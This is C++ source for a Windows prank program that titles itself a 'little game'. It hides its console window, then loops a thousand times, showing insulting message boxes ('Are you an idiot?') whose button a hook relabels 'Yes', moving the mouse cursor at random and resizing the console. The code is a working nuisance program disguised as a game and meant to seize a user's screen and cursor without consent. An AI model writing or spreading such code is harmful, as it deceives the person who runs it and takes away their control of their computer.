C++#include <windows.h>
#include <ctime>
#include <cstdlib>
#include <bits/stdc++.h>
using namespace std;
void size(int x,int y)
{
char cmd[64];
sprintf(cmd,"mode con cols=%d lines=%d",x,y);
system(cmd);
}
HHOOK hHook;
LRESULT __stdcall CBTHookProc( long nCode,WPARAM wParam,LPARAM lParam)
{
if(nCode==HCBT_ACTIVATE)
{
SetDlgItemText((HWND)wParam,IDOK,"是");
UnhookWindowsHookEx(hHook);
}
return 0;
}
int gx[8]={1,0,1,-1,1,-1,-1,0},gy[8]={0,1,-1,1,1,-1,0,-1},j=1000,i=j,k=i/2,x=GetSystemMetrics(SM_CXSCREEN),y=GetSystemMetrics(SM_CYSCREEN);
int main()
{
system("title 小游戏");
srand(time(0));
while(i--)
{
HWND hWnd=FindWindow("ConsoleWindowClass",NULL);
ShowWindow(hWnd,SW_HIDE);
MessageBox(NULL,"你将永远堕落于此地!","你是SB吗?",MB_ICONEXCLAMATION|MB_OKCANCEL);
hHook=SetWindowsHookEx(WH_CBT,(HOOKPROC)CBTHookProc,NULL, GetCurrentThreadId());
MessageBox(NULL,("你是SB吗?"),"一个严肃的问题",MB_OK);
int lll=rand()%8;
Sleep(10);
SetCursorPos(j+=gx[lll]*100,k+=gy[lll]*100);
int kkk=rand()%100+1;
int kkk2=rand()%500+1;
size(kkk,kkk2);
}
}